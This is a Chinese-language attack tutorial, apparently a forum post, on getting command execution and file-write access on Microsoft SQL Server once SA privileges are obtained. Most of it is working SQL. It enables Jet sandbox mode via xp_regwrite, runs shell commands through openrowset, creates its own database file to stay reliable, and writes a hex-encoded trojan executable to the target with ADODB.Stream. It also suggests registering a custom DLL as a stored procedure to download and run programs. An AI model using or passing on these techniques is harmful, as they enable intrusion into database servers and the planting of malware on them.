先强调一下，以下所有方法都要求具备 SA 权限。这是使用这些技术的前提条件，如果没有该权限，后续内容没有参考价值。 ## 1. 沙盒模式的变通 **原始方法（但容易失效）：** 第一步，开启沙盘模式： ```sql exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 ``` 第二步，利用 jet.oledb 执行系统命令： ```sql select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\dnary.mdb','select shell("CMD命令")') ``` 或者： ```sql select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("CMD命令")') ``` 问题在哪里呢？一旦 `X:\Windows\System32\ias\dnary.mdb` 或 `X:\Windows\System32\ias\ias.mdb` 文件被删除，这条命令就会失效。因此需要换一种思路——自己手动创建一个数据库。 **改进方法（自己建库，避免依赖系统文件）：** 使用以下语句创建一个数据库（数据库名称为 `SysSetup.xml`，后缀 .xml 仅作为自定义名称，不影响使用）： ```sql declare @hr int declare @object int;declare @property int exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml' ``` 创建成功后，再通过 jet.oledb 调用这个新数据库来执行系统命令： ```sql select * from openrowset('microsoft.jet.oledb.4.0',';database=SysSetup.xml','select shell("CMD命令")') ``` 这样一来，就不再依赖系统自带的 mdb 文件，即使它们被删除也不会影响执行。 --- ## 2. 直接写入文件到对方计算机 这个方法可以将 exe、dll 等文件直接写入目标机器，但有一个限制条件——文件大小不能超过 64KB。 假设你已经有一个现成的程序需要部署（例如木马程序），首先将该文件转换为 HEX 代码。可以使用一个名为 File2Hex 的小工具（解压后直接将文件拖拽到脚本上，即可生成包含 HEX 代码的文本文件）。 然后，使用以下代码将文件写入目标计算机： ```sql DECLARE @ObjectToken INT EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT EXEC sp_OASetProperty @ObjectToken, 'Type', 1 EXEC sp_OAMethod @ObjectToken, 'Open' EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x123456(其中0x123456为HEX内容) EXEC sp_OAMethod @ObjectToken, 'Sa veToFile', NULL, 'Test.exe(文件名)', 2 EXEC sp_OAMethod @ObjectToken, 'Close' EXEC sp_OADestroy @ObjectToken ``` 写入完成后，再想办法执行该文件即可。至于执行方式，那就各显神通了。 --- ## 集思广益 目前很多机器上能够执行命令的入口都被严格封锁，即使侥幸能够执行，CMD 的权限也可能被大幅限制。因此推荐一条更稳妥的路径：有能力的同学可以自行开发一个 DLL，然后将该 DLL 写入目标机器，再注册为存储过程。至于这个存储过程具体做什么——下载并执行程序、直接执行命令……都可以，完全取决于你的设计思路。